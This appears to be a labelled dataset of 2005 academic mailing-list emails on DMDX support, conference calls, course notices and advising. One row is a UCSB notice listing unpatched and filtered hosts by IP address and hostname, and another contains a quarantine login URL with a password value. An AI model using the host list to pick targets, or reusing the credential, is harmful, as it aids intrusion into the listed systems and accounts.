Hosts *** 128.111.32.103 -- 128.111.68.13 -- 128.111.81.64 -- 128.111.92.87 host92-87.lsdepts.ucsb.edu 128.111.104.42 herodotus.geog.ucsb.edu 128.111.104.205 boggspc.geog.ucsb.edu 128.111.106.101 olympia.geog.ucsb.edu 128.111.111.21 -- 128.111.131.50 host131-50.lsdepts.ucsb.edu 128.111.145.39 -- 128.111.145.110 -- 128.111.159.81 -- 128.111.160.8 -- 128.111.165.37 host165-37.lsdepts.ucsb.edu 128.111.165.164 host165-164.lsdepts.ucsb.edu 128.111.179.107 ismerlap.materials.ucsb.edu 128.111.181.68 -- 128.111.229.2 -- 128.111.229.211 -- 128.111.229.212 -- 128.111.234.37 zenith.ncgia.ucsb.edu 128.111.247.63 -- Filtered Hosts ............................... 22 -- Todd Atkins Network Security Coordinator UCSB/Office of Information Technology Voice: (805) 893-5077 Fax: (805) 893-5051 http://www.oit.ucsb.edu/security _______________________________________________ CSF mailing list - CSF@ucsb.edu https://ucsb.edu/mailman/listinfo/csf _______________________________________________ CSF mailing list - CSF@ucsb.edu https://ucsb.edu/mailman/listinfo/csf",0,1 cherr@uoregon.edu,cherr@uoregon.edu,"Thu, 22 Sep 2005 11:35:40 -0700",SPED 4411/511 Meeting,"We will meet one time for this class on Friday, September 30 at 4:00 PM. in 250 Clinical Services. This is a very important meeting. Please try to attend. If you can't attend, please download the syllabus and assignments from this site and read them carefully.",0,0 """Kreinovich, Vladik"" ","reliable_computing@interval.louisiana.edu, interval@listserv.utep.edu","Thu, 22 Sep 2005 11:53:05 -0600",Conference in St. Petersburg Russia,"Dear Friends, This is FYI. Please notice that interval mathematics is one of the topics mentioned in the call for papers. I am planning to go, and if we can organize an interval session that will be great, please let me know if you are interested, we must send it session proposal by December 10. This conference is back-toback with IMPU'06 in Paris July 2-7, 2006. Vladik ************************************************************************************* First Call for Papers Second International Conference on Fuzzy Sets and Soft Computing in Economics and Finance FSSCEF 2006 June 28- July 01, 2006, St. Petersburg, Russia Sponsored by: Siemens Business Services Russia International Fuzzy Economics Lab Rus International Fuzzy Economics Lab Kazakhstan Journal of Banks & Risks Journal of News of Artificial Intelligence Journal of Fuzzy Sets and Soft Computing Russian Association for Fuzzy Systems and Soft Computing RANSSoftCom International Fuzzy Systems Association, IFSA European Society for Fuzzy Logic and Technology, EUSFLAT International Association Fuzzy-Set Management and Economy, SIGEF Mexican Petroleum Institute Institute of Problems of Informatics, Academy of Sciences, Tatarstan, Russia Berkeley Initiative in Soft Computing, BISC The goal of the conference is to join together researchers in fuzzy logic, soft computing and computing with words and specialists in economics, finance, practical management and business administration for discussing new theoretical results and practical applications of perspective intelligent technique in economics, finance and related areas. The topics of conference will include the following application areas and techniques. Application areas: Economics, fuzzy econometrics, financial engineering and management, financial time series analysis and forecasting, financial data mining, financial markets, marketing research, virtual market place, consumer preference analysis, client credit worthiness, customer segmentation, agent-based computational economics, fuzzy equilibrium, social choice and welfare, fuzzy cooperation and oligopoly, macroeconomic modeling and forecasting, micro-macro economic relations, experimental economics, market share analysis, stock forecast and portfolio management, stock management, investment planning, investment risk appraisal, risk management, strategic planning and enterprise development, audit and financial analysis, bank and finance technologies, business decision making, software solutions for economic and finance analysis, software solutions for business management, simulation of social processes. Techniques and methodologies: Fuzzy logic, neural networks, genetic algorithms, fuzzy systems, neuro-fuzzy modeling, evolutionary computations, self-organizing maps, chaos theory, fuzzy integrals, type 2 fuzzy sets, Dempster-Shafer theory, rough sets, interval mathematics, cognitive maps, perception based modeling and reasoning, precisiated natural language, computing with words, computational theory of perceptions, fuzzy constraint based reasoning. Fuzzy clustering, fuzzy pattern recognition, visualization of data, linguistic description of data, qualitative reasoning and time series analysis, fuzzy probabilities and statistics, fuzzy regression analysis, fuzzy dynamic systems; Fuzzy and linguistic preference relations, fuzzy choice functions, fuzzy and perception based utility, multiple criteria decision making, group decision making, fuzzy optimization, fuzzy games, fuzzy coalitions, multi-agent systems with fuzzy preferences and constraints, negotiation of intelligent agents with incomplete and imprecise information, fuzzy ontology. Fuzzy data bases and knowledge based systems, fuzzy distributed systems, fuzzy expert systems, data mining, perception based time series data mining, fuzzy association rules, intelligent question answering systems. Honorary Chairman Lotfi A. Zadeh, University of California, Berkeley, USA Advisory Committee J. Gil-Aluja, Spain J. Kacprzyk, Poland M. Nikravesh, USA Co-Chairs of Program Committee Ildar Batyrshin, Mexico, Russia Pavel Sevastjanov, Poland Constantin Zopounidis, Greece Chair of Organizing Committee Alexey Nedosekin, SIEMENS BUSINESS SERVICES RUSSIA, IFEL Rus E-mail: an@ifel.ru International Program Committee (will be approved) R. Aliev, Azerbaijan L. Bershtein, Russia A. Borisov, Latvia J.J. Buckley, USA Ch. Carlsson, Finland Sh. Chabdarov, Russia B. De Baets, Begium D. Dubois, France A. Eremeev, Russia F. Esteva, Spain D. Filev, USA B. Fioleau, France T. Fukuda, Japan J. Gil-Aluja, Spain K. Hirota, Japan N. Jarushkina, Russia R. Kachalov, Russia J. Kacprzyk, Poland O. Kaynak, Turkey E. Kerre, Belgium G. Klejner, Russia R. Klempous, Poland G.J. Klir, USA V. M. Kurejchik, Russia L. Magdalena, Spain M. Mares, Czech Republic I. Nasyrov, Russia M. Nikravesh, USA A. Nedosekin, Russia V. Novak, Czech Republic G. Osipov, Russia P. Osmera, Czech Republic W. Pedrycz, Canada I. Perfilieva, Czech Republic V. Red'ko, Russia I. J. Rudas, Hungary T. Rudas, Hungary L. Rutkowski, Poland D. Rutkowska, Poland A. Ryjov, Russia L. Sheremetov, Mexico P. Sincak, Slovakia R. Slowinski, Poland V. Stefanuk, Russia T. Sudkamp, USA V. Tarasov, Russia I.B. Türksen, Canada V. Vagin, Russia M. Wagenknecht, Germany R. Yager, USA A. Yazenin, Russia Ju. Zhuravlev, Russia Organizing committee A. Danilova, N.Avdeenko Service agent of Conference: Monomax Company E-mail: vipservice@monomax.org Tel.: +7 812 320-0119, 445-0159; Fax: +7 812 324 7322 Submission of Papers: The working language of the conference is English. Prospective authors are invited to submit a full paper electronically in PDF format no longer than 8 pages including authors' names, affiliations, mailing address, E-mail, telephone and fax numbers to the address: an@ifel.ru. The papers will be published in the proceedings of conference. The extended versions of original papers will be recommended for publications in special issues of international journals. The proposals for lectures related with the theme of conference are invited. The preference will be done to reports observing perspective theoretical models and applications in economics and finance. Important Dates: Deadline for proposals for special sessions and lectures: December 10, 2006 Preliminary abstract submission (1 page): December 20, 2006 Deadline for paper submission January 20, 2006 Notification of acceptance: February 20, 2006 Deadline for submission of final manuscripts: March 10, 2006 Conference Web Page: http://fsscef.narod.ru/index.html Cultural program: June in St. Petersburg is the time of magnificent White Nights. The cultural program of conference includes sightseeing of St. Petersburg with visit of Hermitage Museum, banquet on the ship in waters of Neva River. By request on July 1 it may be organized the excursion to Peterhof or Pushkin. Some Links: http://www.spb.ru/eng/ - Saint-Petersburg official website http://www.spb.ru/eng/maps/ - Maps of St. - Petersburg http://www.hermitagemuseum.org/html_En/index.html - The Hermitage Museum http://www.peterhof.org/index1.htm - Peterhof http://eng.tzar.ru/ - Tzarskoje Selo, Pushkin town ",0,1 Lauren Lukkarila ,DMDX@psy1.psych.arizona.edu,"Fri, 23 Sep 2005 07:31:27 -0700",[DMDX] PIO Test Time DX,"I've done all of the other test for Time DX and they work. However, if I try to run DMDX it tells me that I need to do the PIO Test. When I go to the PIO Test, there is a drop down box which suggests to me that perhaps I should have some choices there. In my case, the box is empty. I want to use the keyboard as the input device so what do I need to type in this box or is it that I have to add something to my computer to get this to work? Thanks. --------------------------------- Yahoo! for Good Click here to donate to the Hurricane Katrina relief effort. ",0,0 """j.c.f."" ",DMDX@psy1.psych.arizona.edu,"Fri, 23 Sep 2005 08:10:45 -0700",[DMDX] Re: PIO Test Time DX,"At 07:31 AM 9/23/2005 -0700, you wrote: >I've done all of the other test for Time DX and they work. However, if I >try to run DMDX it tells me that I need to do the PIO Test. When I go to >the PIO Test, there is a drop down box which suggests to me that perhaps I >should have some choices there. In my case, the box is empty. I want to >use the keyboard as the input device so what do I need to type in this box >or is it that I have to add something to my computer to get this to >work? Thanks. > You would only use the PIO test if you had a PIO, a parallel interface card. You probably need to change the in your item file to . /""\\ -jonathan (j.c.f.) \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ As a rule software systems do not work well until they have been used, and have failed repeatedly, in real applications. - Dave Parnas, Communications of the ACM (33, 6 June 1990 p.636)",0,0 Lauren Lukkarila ,dmdx@psy1.psych.arizona.edu,"Fri, 23 Sep 2005 10:12:31 -0700",[DMDX] running DMDX freezes computer,"I am trying to run DMDX on a Toshiba laptop with Windows XP. I have attempted to run the features.rtf from the Demos file. Initially, I see the instructions and I can use the space bar to go to the next page. However, once the word/non-word appears none of the inputs work (right click, left click, F, G, H). Even when I try to escape, there is no response. I have to shut down the computer in order to get out of the program. Any thoughts on what is going on and how to remedy it? Thanks. --------------------------------- Yahoo! for Good Click here to donate to the Hurricane Katrina relief effort. ",0,0 C A Ankerstein ,DMDX mailing list ,"Fri, 23 Sep 2005 18:24:56 +0100",[DMDX] videos freeze computer,"Hi, I'm having a similar problem to Lauren. On a Dell laptop with XP, I'm running an experiment with .jpg and .avi files. The .jpgs are fine, but the computer freezes when it hits an .avi file. The videos are fine in Media Player. What's going on? Thanks, Carrie -- Carrie Ankerstein Department of Human Communication Sciences University of Sheffield 31 Claremont Crescent Sheffield S10 2TA United Kingdom phone: (0) 114 22 22412 email: hcp02caa@sheffield.ac.uk ",0,0 """Kreinovich, Vladik"" ","reliable_computing@interval.louisiana.edu, interval@listserv.utep.edu","Fri, 23 Sep 2005 11:38:31 -0600",Kulisch et al book translated,"Dear Friends, I have just learned that the Russian translation of Numerical Toolbox for Verified Computing, by R. Hammer, M. Hocks, U. Kulisch, D. Ratz (Springer-Verlag, New York, 1993) has just appeared. The publisher webpage http://shop.rcd.ru/details/436 does not have a price yet, so probably it is not yet possible to order but they informed Alexander (Sasha) Yakovlev that the books are ready. It has been a slow process with the publisher, many thanks to Sasha for his persistence, and let us hope that there will be no further delays. Vladik ",0,1 """Jonathan C. Forster"" ",DMDX@psy1.psych.arizona.edu,"Fri, 23 Sep 2005 13:09:53 -0700",[DMDX] Re: running DMDX freezes computer,"At 10:12 AM 9/23/2005 -0700, you wrote: >I am trying to run DMDX on a Toshiba laptop with Windows XP. I have >attempted to run the features.rtf from the Demos file. Initially, I see >the instructions and I can use the space bar to go to the next >page. However, once the word/non-word appears none of the inputs work >(right click, left click, F, G, H). Even when I try to escape, there is >no response. I have to shut down the computer in order to get out of the >program. Any thoughts on what is going on and how to remedy it? Thanks. Your input devices probably don't have standard names, usually the case it it's not an english version of XP. You can try the #mouse and #keyboard devices but any mappings that the demo makes won't be functioning as signals like +F are now +#33. Safemode 1 will allow DMDX to be ESCaped from under such circumstances (as would a couple of cntrl-alt-dels). /""\\ -jonathan (j.c.f.) \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ Help starve a feeding bureaucrat. ",0,0 """Jonathan C. Forster"" ",DMDX@psy1.psych.arizona.edu,"Fri, 23 Sep 2005 13:16:03 -0700",[DMDX] Re: videos freeze computer,"At 06:24 PM 9/23/2005 +0100, you wrote: >Hi, > >I'm having a similar problem to Lauren. > >On a Dell laptop with XP, I'm running an experiment with .jpg and .avi files. >The .jpgs are fine, but the computer freezes when it hits an .avi file. The >videos are fine in Media Player. What's going on? Could be anything from some daft codec error message about having to download some new software to an incompatible video mode (I don't recommend 256 color video modes at all) or a play back rectangle that the codec doesn't like (left corner isn't left of the right corner or it's size is too big or too small). Or something else I've never seen, the sky's the limit with video. TimeDX has a Digital Video test that you can use to play the files that are busting DMDX and hopefully you'll get some better diagnostics out of it. /""\\ -jonathan (j.c.f.) \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ Help starve a feeding bureaucrat. ",0,0 Samantha Christensen ,deanna@cs.utexas.edu,"Sun, 25 Sep 2005 13:59:38 -0500","beware, fatigue can kill you","! persecutory on compression be proline or deadlock in pitfall ",1,0 Terrie Clements ,'Dina' ,"Mon, 26 Sep 2005 12:17:42 +0500","Photoshop, Windows, Office. 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To view the contents of your quarantine inbox or to manage your spam preferences, please open the following link in your browser: https://monty.skidmore.edu:443/cgi-bin/index.cgi?user=irc-list-web@skidmore.edu&password=e6d17030501525904979aa8835c35571&et=1128164918&locale= ",0,1 """Kreinovich, Vladik"" ","reliable_computing@interval.louisiana.edu, interval@listserv.utep.edu","Mon, 26 Sep 2005 15:08:43 -0600",FW: Books page,"Dear Friends, I replaced the page based on the previous version, but there may still be some references missing, if you notice that some books are missing please let us know ASAP. My apologies for the inconvenience, and many thanks to Professor Moore for noticing. Vladik ________________________________ From: Ray Moore [mailto:rmoore17@columbus.rr.com] Sent: Monday, September 26, 2005 14:21 To: vladik@cs.utep.edu Subject: Books page Dear Vladik, Something went wrong with the books page on the interval website. I also informed Misha. http://www.cs.utep.edu/interval-comp/books.html best regards, Ray Moore ",0,1 minson@uoregon.edu,minson@uoregon.edu,"Mon, 26 Sep 2005 17:00:50 -0700",Class on Wednesday!,"Hello! Welcome back! You are receiving this email because you are a registered participant in ""Environmental Physiology"", HPHY 470/570. If you have received this email and are either going to drop the class or are not registered for it, please let me know ASAP as there is a substantial waiting list to get into it. Class begins Wednesday! We will go over the course syllabus and outline (both posted on Blackboard), and even have some time left over for starting lecture!! The first set of lecture notes are posted on Blackboard in both .pdf and .ppt formats for your viewing pleasure. For class this week....bring a calculator!! We probably won't need it on Wednesday, but we might, so be prepared! The topic of the class is of considerable interest to both Dr. Halliwill and me, transcending our research interests to our own outdoor pursuits. We hope we can get you as excited about the topic as we are! See you Wednesday!!",0,0 """Kreinovich, Vladik"" ","reliable_computing@interval.louisiana.edu, interval@listserv.utep.edu","Mon, 26 Sep 2005 17:01:33 -0600",FW: CFP: Joc Special Issue on Computability and Complexity in Analysis," Forwarding. Vladik -----Original Message----- From: Peter Hertling Sent: Friday, September 23, 2005 14:18 ______________________________________________________________________ Journal of Complexity Special Issue on Computability and Complexity in Analysis ______________________________________________________________________ Call for papers Following the International Conference on Computability and Complexity in Analysis (CCA 2005) http://cca-net.de/cca2005 Kyoto, Japan, August 25-29, 2005, it is planned to publish a special issue of the Journal of Complexity (JoC) http://www.elsevier.com/wps/find/journaldescription.cws_home/622865/desc ription#description This issue is supposed to contain papers related to the conference but it is also open to other submissions that meet the standards of JoC and the scope of CCA. Scope Computability and complexity theory are two central areas of research in mathematical logic and theoretical computer science. Computability theory is the study of the limitations and abilities of computers in principle. Computational complexity theory provides a framework for understanding the cost of solving computational problems, as measured by the requirement for resources such as time and space. The classical approach in these areas is to consider algorithms as operating on finite strings of symbols from a finite alphabet. Such strings may represent various discrete objects such as integers or algebraic expressions, but cannot represent general real or complex numbers, unless they are rounded. Most mathematical models in physics and engineering, however, are based on the real number concept. Thus, a computability theory and a complexity theory over the real numbers and over more general continuous data structures are needed. Unlike the well established classical theory over discrete structures, the theory of computation over continuous data is still in its infancy, despite remarkable progress in recent years. Many important fundamental problems have not yet been studied, and presumably numerous unexpected and surprising results are waiting to be detected. The topics of interest include foundational work on various models and approaches for describing computability and complexity over the real numbers. They also include complexity-theoretic investigations, both foundational and with respect to concrete problems, and new implementations of exact real arithmetic, as well as further developments of already existing software packages. We hope to gain new insights into computability-theoretic aspects of various computational questions from physics and from other fields involving computations over the real numbers. Guest Editors Vasco Brattka (Cape Town) Peter Hertling (Munich) Ker-I Ko (Stony Brook) Hideki Tsuiki (Kyoto) Submissions Authors are invited to submit PostScript or PDF versions of papers to: cca2005joc@informatik.unibw-muenchen.de Submission deadline: December 12, 2005 Notification: March 6, 2006 Camera-ready versions: May 1, 2006 Papers should be prepared using LaTeX2e and the LaTeX templates available for download at: http://www.authors.elsevier.com/latex ______________________________________________________________________ ",0,1 """Kreinovich, Vladik"" ","reliable_computing@interval.louisiana.edu, interval@listserv.utep.edu","Mon, 26 Sep 2005 17:23:10 -0600",FW: Classic Computer Science texts - request fromDave Patterson for suggestions,"Dear Friends, I have just nominated Moore's 1966 book for being re-ptinted among ACM top classic books in computer science. The final selection will be made by voting so if you are an ACM member please do not forget to vote. Vladik P.S. Many thanks to George Corliss for attracting my attention to this important initiative. -----Original Message----- From: George Corliss [mailto:George.Corliss@Marquette.edu] ------ Forwarded Message > From: classicbooks > Reply-To: classicbooks > Date: Fri, 23 Sep 2005 12:29:06 -0400 > To: classics@ACM.ORG > Subject: [CLASSICBOOKS] Classic Computer Science texts - request from > Dave Patterson for suggestions > > Dear ACM Member, > > ACM is launching a new initiative to revive classic, out-of-print > computer science books, with the intent to make the full text > available online to members via the PDC/DL. I'm asking you to identify > the books you believe are ""classics."" The suggestions I've received so > far can be viewed at http://www.acm.org/csclassics/. > > You may also nominate classic computer manuals (for example, IBM 360 > Principles of Operation, and DEC PDP-11 Handbook). > > The book must be out of print to qualify. (A book is still considered > ""in print"" if its fourth edition is selling despite the first edition > being no longer available). > > Please submit your comments and candidates for CS classics by Friday, > October 7, including why you think your nomination(s) qualify as > classic(s), by filling out the form at www.acm.org/csclassicspoll . > After this date we will conduct a vote, resulting in the Top 20 > classic books. You will receive another email with instructions > directing you to the Web site with the online poll. > > Thanks in advance for your help. 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",1,0 Cynthia Herr ,Valerie Amanda Mayer ,"Tue, 27 Sep 2005 08:19:34 -0700",Re: Meeting on Friday,"Hi Valerie, Please check our blackboard site and download the syllabus and book review assignment. If you have questions after you have carefully read both documents, send me or Scott an email. Good luck with your game. Cindy ----- Original Message ----- From: ""Valerie Amanda Mayer"" To: Sent: Monday, September 26, 2005 9:46 PM Subject: Meeting on Friday > My name is Valerie Mayer and i am registered to take your SPED 411 > class. I got the email that said we were suppose to meet on this > Friday the 30th, but i have a conflict.I play for the U of O womens > soccer team and we have an away weekend and we leave for Wyoming on > Thursday and will return on Sunday, so i won be here for Fridays > meeting time. I am sorry that i will miss the meeting, but i was > wondering if there is anything that I will need or miss. If you could > email me back that would be great. Thanks > > ~ Valerie Mayer > vmayer@uoregon.edu >",0,0 """Heather E. McInnis"" ",Valerie Amanda Mayer ,"Tue, 27 Sep 2005 09:57:54 -0700",Re: Questions,"Hi Valerie, I will be in the office on Friday, 9-1, and would be happy to go over these questions with you then. I am cc'ing this message to Dr. Schombert for a response regarding the HPHY 362. If my office hours do not work for you, there are two other new advisors that you could talk with this week who will be in the office any day between 10 and 2. Let me know what time works for you. Heather On Tue, 27 Sep 2005 09:24:38 -0700, Valerie Amanda Mayer wrote: > Hi my name is Valerie Mayer and I am majoring in General science and I > had a few questions to make sure I am on the right track to graduate > in the spring. I am currently in the HPHY 362 Damaged Tissue and > Healing class and Iw as wondering if that count towards my upper > division credits. I was also wondering if there is a time that I could > come and meet with you to make sure I am on the right path. If you > could email me back that would be great. Thanks > > Valerie Mayer > vmayer@uoregon.edu",0,0 James Schombert ,"""Heather E. McInnis"" ","Tue, 27 Sep 2005 10:09:32 -0700",Re: Questions,"HPHYS 362 is good for UD credit J Heather E. McInnis wrote: >Hi Valerie, >I will be in the office on Friday, 9-1, and would be happy to go over these questions with you then. I am cc'ing this message to Dr. Schombert for a response regarding the HPHY 362. > >If my office hours do not work for you, there are two other new advisors that you could talk with this week who will be in the office any day between 10 and 2. > >Let me know what time works for you. > >Heather > >On Tue, 27 Sep 2005 09:24:38 -0700, Valerie Amanda Mayer wrote: > > >>Hi my name is Valerie Mayer and I am majoring in General science and I >>had a few questions to make sure I am on the right track to graduate >>in the spring. I am currently in the HPHY 362 Damaged Tissue and >>Healing class and Iw as wondering if that count towards my upper >>division credits. I was also wondering if there is a time that I could >>come and meet with you to make sure I am on the right path. If you >>could email me back that would be great. Thanks >> >> Valerie Mayer >>vmayer@uoregon.edu >> >> > > >",0,0 """Kreinovich, Vladik"" ",reliable_computing@interval.louisiana.edu,"Tue, 27 Sep 2005 10:13:02 -0600",FW: Recherche d un postdoc,"Alexandre Goldsztejn who published several interval-related papers (in Reliable Computing in particular) is defending his PhD shortly and he is lookng for a post-doc position, please contact him at alexandre@goldsztejn.com if you have any suggestions; his webpage is www.alexandre.goldsztejn.com Vladik ________________________________ From: isabelle braems [mailto:isabelle.braems@lemhe.u-psud.fr] Subject: Recherche d un postdoc Bonjour à tous, Alexandre Goldsztejn va soutenir sa thèse prochainement, un mail suivant vous donnera toutes les informations sur la soutenance. En attendant, il est à la recherche d'un postdoctorat. N'hésitez pas à le contacter* si vous possédez des sujets et des financements éventuels ! * Alexandre possède aussi une page web www.alexandre.goldsztejn.com Isabelle BRAEMS LEMHE-Bât 413 Université Paris-Sud 91405 Orsay Tél: 01 69 15 46 77 ",0,0 ,,,,"(8.12.8/8.12.8) with ESMTP id j8RNBKC4007532 for ; Tue, 27 Sep 2005 16:11:20 -0700 Received: from localhost.ucsb.edu ([127.0.0.1] helo=hub.ucsb.edu) by ucsb.edu with esmtp id 1EKObJ-000Fn4-6i for lap@hep.ucsb.edu; Tue, 27 Sep 2005 16:11:05 -0700 Received: from hub.ucsb.edu ([128.111.24.40] helo=smtp.ucsb.edu) by ucsb.edu with esmtps TLSv1:AES256-SHA:256 id 1EKOaC-000FcX-6s for csf@ucsb.edu; Tue, 27 Sep 2005 16:09:56 -0700 Received: from [169.231.66.0] (helo=[169.231.68.117]) by smtp.ucsb.edu with esmtpsa TLSv1:RC4-SHA:128 id 1EKOaB-000FcR-VY for csf@ucsb.edu; Tue, 27 Sep 2005 16:09:56 -0700 Mime-Version: 1.0 (Apple Message framework v734) Message-Id: From: E. Todd Atkins Date: Tue, 27 Sep 2005 16:09:53 -0700 To: csf@ucsb.edu X-Mailer: Apple Mail (2.734) Subject: [CSF] Blocked and Vulnerable Hosts X-BeenThere: csf@ucsb.edu X-Mailman-Version: 2.1.6 Precedence: list Reply-To: UCSB Network Security Coordinator List-Id: Computer Support Forum List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , Content-Type: text/plain; charset=""us-ascii"" Content-Transfer-Encoding: 7bit Sender: csf-bounces+lap=hep.ucsb.edu@ucsb.edu Errors-To: csf-bounces+lap=hep.ucsb.edu@ucsb.edu Hello, You can find a ""Filtered Hosts"" list as well as a ""Unpatched Hosts"" lists further down in this message. If you manage a host that is in the list of unpatched hosts, then I highly recommend that you: 1. Patch the host ASAP, or firewall it until it if it cannot be patched for some reason. 2. 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",DMDX@psy1.psych.arizona.edu,"Wed, 28 Sep 2005 07:09:44 -0700",[DMDX] Re: Bug after upgrading to 3.1.4.1?,"I guess if you were using and then that you could be your problem if it's always the first frame of the item that's late: 08/08/05 j.c.f. 3.1.4.1 with made rigorous ( with was already) 06/06/05 j.c.f. 3.1.4.0 06/03/05 j.c.f. 3.1.3.0 background sound 05/24/05 j.c.f. 3.1.2.7 item_read() spews item during early errors, makes misplaced keyword at start of item easier to debug 03/30/05 j.c.f. 3.1.2.6 machinename only tries to READ registry computer name for limited access machines If you really need a fixed ITI then you'll have to make the delay larger, looking at the preparation times will tell you how long the delay needs to be: http://psy1.psych.arizona.edu/~jforster/dmdx/help/dmdxherrors.htm#preparation A lot of people are using when there's no call for it, if they don't like the default half second or so between trials then they can use a negative value for the delay which will avoid display errors. http://psy1.psych.arizona.edu/~jforster/dmdx/help/dmdxhdelaykeyword.htm At 04:58 PM 9/28/2005 +1000, you wrote: >Hi All, > >I'm trying to troubleshoot a problem script and don't seem to be able >to find an up to date changelog on the website. I was wondering if >someone could tell me a list of changes between versions 3.1.2.6 and >3.1.4.1 > >The problem is we have some scripts that worked just fine under >3.1.2.6 and after we upgraded to 3.1.4.1 they started producing large >timing errors. > >We use disk imaging in our labs so before we upgrade DMDX we roll the >entire disk image back to the way it was when we first setup our >labs. This way I can ensure that the only difference from the >working setup to the broken one was that we upgraded DMDX. We've >also tried running the same script on different computers with >identical hardware as well as an identical disk image to rule out >faulty hardware. >Details of our lab setup can be found at http://www.maccs.mq.edu.au/ >resources/Computing/DMDX/ > >Examples of the scripts and their .zil/.azk file with the errors in >it are here. >http://www.maccs.mq.edu.au/~crichard/dmdx/Adjectives/ >In this .zil file subject 25 was run with our base image with DMDX >3.1.2.6 and subject 27 was run after we installed 3.1.4.1 > >http://www.maccs.mq.edu.au/~crichard/dmdx/IAT/ >In the .azk file in this directory subject 18 was run with 3.1.2.6, >subject 19 was run with 3.1.4.1 (in diagnostic mode) and subject 20 >was run with 3.1.4.1. > >After these tests I then updated the display drivers to be the >current ATI catalyst version and re-ran the tests. >3.1.4.1 behaved the same way however. > >If anyone has any suggestions or knows of any changes between >versions that might have caused this they'd be very much appreciated. > >thanks, >Craig > >-- >Craig Richardson >Systems Administrator >Macquarie Centre for Cognitive Science >Macquarie University >Phone : +61 2 9850 6730 >Fax : +61 2 9850 6059 >Web : http://www.maccs.mq.edu.au >==================================================================== > Send mail to DMDX-request@psy1.psych.arizona.edu with the word > 'unsubscribe' by itself with no quotes in the body of the email > to be removed from the list. The list archive is available here: > http://psy1.psych.arizona.edu/cgi-bin/DMDX/thread >==================================================================== /""\\ -jonathan (j.c.f.) \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ As a rule software systems do not work well until they have been used, and have failed repeatedly, in real applications. - Dave Parnas, Communications of the ACM (33, 6 June 1990 p.636)",0,1 Steve Keckler ,cs382m@lists.cc.utexas.edu,"Wed, 28 Sep 2005 10:09:09 -0500",[CS382M:8] office hours today,"CS382m-ers, My apologies but I must cancel my office hours today (Wed. Sept 28). I have to go to NSF in DC to review proposals for funding and my flight leaves earlier than I expected. I will hold regular office hours next Monday and potentially a makeup office hour this Friday if there is demand (send me email). Cheers, Steve Steve Keckler Computer Architecture and Technology Lab Associate Professor Tel: (512) 471-9763 Department of Computer Sciences Dept: (512) 471-7316 1 University Station C0500 Fax: (512) 232-1413 The University of Texas at Austin E-mail: skeckler@cs.utexas.edu Austin, TX 78712-0233 http://www.cs.utexas.edu/users/skeckler ",0,1 C A Ankerstein ,DMDX mailing list ,"Wed, 28 Sep 2005 18:24:27 +0100",[DMDX] videos still freezing,"Hi, I'm back with my question again. When I run a script with a .avi movie DMDX freezes (nothing happens and I have to CTRL_ALT_DEL to end task). I'm trying to get it to run on a Dell laptop with Windows XP and DMDX 3.1.4.1. I didn't have this trouble getting it to run on my own PC (Win 98) DMDX 3.0.2.5 and another PC (Win XP) DMDX 3.0.4.8. Would it be possible to get this (3.0.4.8) version of DMDX? Is there some sort of difference between laptops and PCs that could account for this? Thanks, Carrie -- Carrie Ankerstein Department of Human Communication Sciences University of Sheffield 31 Claremont Crescent Sheffield S10 2TA United Kingdom phone: (0) 114 22 22412 email: hcp02caa@sheffield.ac.uk ",0,0 """Jonathan C. Forster"" ",DMDX@psy1.psych.arizona.edu,"Wed, 28 Sep 2005 11:15:21 -0700",[DMDX] Re: videos still freezing,"At 06:24 PM 9/28/2005 +0100, you wrote: >Hi, > >I'm back with my question again. When I run a script with a .avi movie DMDX >freezes (nothing happens and I have to CTRL_ALT_DEL to end task). Try , you'll probably find that ESC will end the task. >I'm trying to get it to run on a Dell laptop with Windows XP and DMDX >3.1.4.1. I >didn't have this trouble getting it to run on my own PC (Win 98) DMDX 3.0.2.5 >and another PC (Win XP) DMDX 3.0.4.8. Would it be possible to get this >(3.0.4.8) version of DMDX? No. >Is there some sort of difference between laptops and PCs that could >account for >this? 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Thanks, Carrie -- Carrie Ankerstein Department of Human Communication Sciences University of Sheffield 31 Claremont Crescent Sheffield S10 2TA United Kingdom phone: (0) 114 22 22412 email: hcp02caa@sheffield.ac.uk Quoting ""Jonathan C. Forster"" : > At 06:24 PM 9/28/2005 +0100, you wrote: > >Hi, > > > >I'm back with my question again. When I run a script with a .avi movie DMDX > >freezes (nothing happens and I have to CTRL_ALT_DEL to end task). > > Try , you'll probably find that ESC will end the task. > > >I'm trying to get it to run on a Dell laptop with Windows XP and DMDX > >3.1.4.1. I > >didn't have this trouble getting it to run on my own PC (Win 98) DMDX > 3.0.2.5 > >and another PC (Win XP) DMDX 3.0.4.8. Would it be possible to get this > >(3.0.4.8) version of DMDX? > > No. > > >Is there some sort of difference between laptops and PCs that could > >account for > >this? > > Your problem could be anything from different input devices to missing > video codecs. See if TimeDX's Digital Video can play the files, if it can > then there's something in your script like a weird playback region or > something else that is blowing things up. > > /""\\ > -jonathan (j.c.f.) \\ / > X > ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ > > Help starve a feeding bureaucrat. > > > ==================================================================== > Send mail to DMDX-request@psy1.psych.arizona.edu with the word > 'unsubscribe' by itself with no quotes in the body of the email > to be removed from the list. The list archive is available here: > http://psy1.psych.arizona.edu/cgi-bin/DMDX/thread > ==================================================================== >",0,1 """j.c.f."" ",DMDX@psy1.psych.arizona.edu,"Thu, 29 Sep 2005 07:33:50 -0700",[DMDX] Re: videos still freezing,"At 02:21 PM 9/29/2005 +0100, you wrote: >Hi, > >I figured out my video problem--it's a Windows XP (service pack 1 and 2) >thing. >I managed to get everything running in the end on a Dell laptop with Windows >2000. > >We knew it wasn't a codec problem because the videos were made on the same >machines that I was trying to use before and would play in Media Player >without >problem. > >Is there anyway to fix the XP problem---my department has upgraded all of our >computers with XP and I might struggle to keep a machine with 98 or 2000 on >it. Beyond sending me (not the list) a copy of one of the videos my guess is that you have used some strange encoding option that's tossing XP's support of the legacy Direct Show interfaces that DMDX uses out the door. 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Here's a snippet of my script at the moment: +7 ""++"" / / *""bed""/; -8 ""++"" / / *""spool-lamp""/; +9 ""++"" / / *""bin""/; -10 ""++"" / / *""artichoke-lamp""/; -11 ""++"" / / *""fish-legs""/; -12 ""++"" / / *""other2_short.avi""/; +13 ""++"" / / *""cake""/; +14 ""++"" / / *""sock""/; -15 ""++"" / / *""penguin-paintbrush""/; -16 ""++"" / / 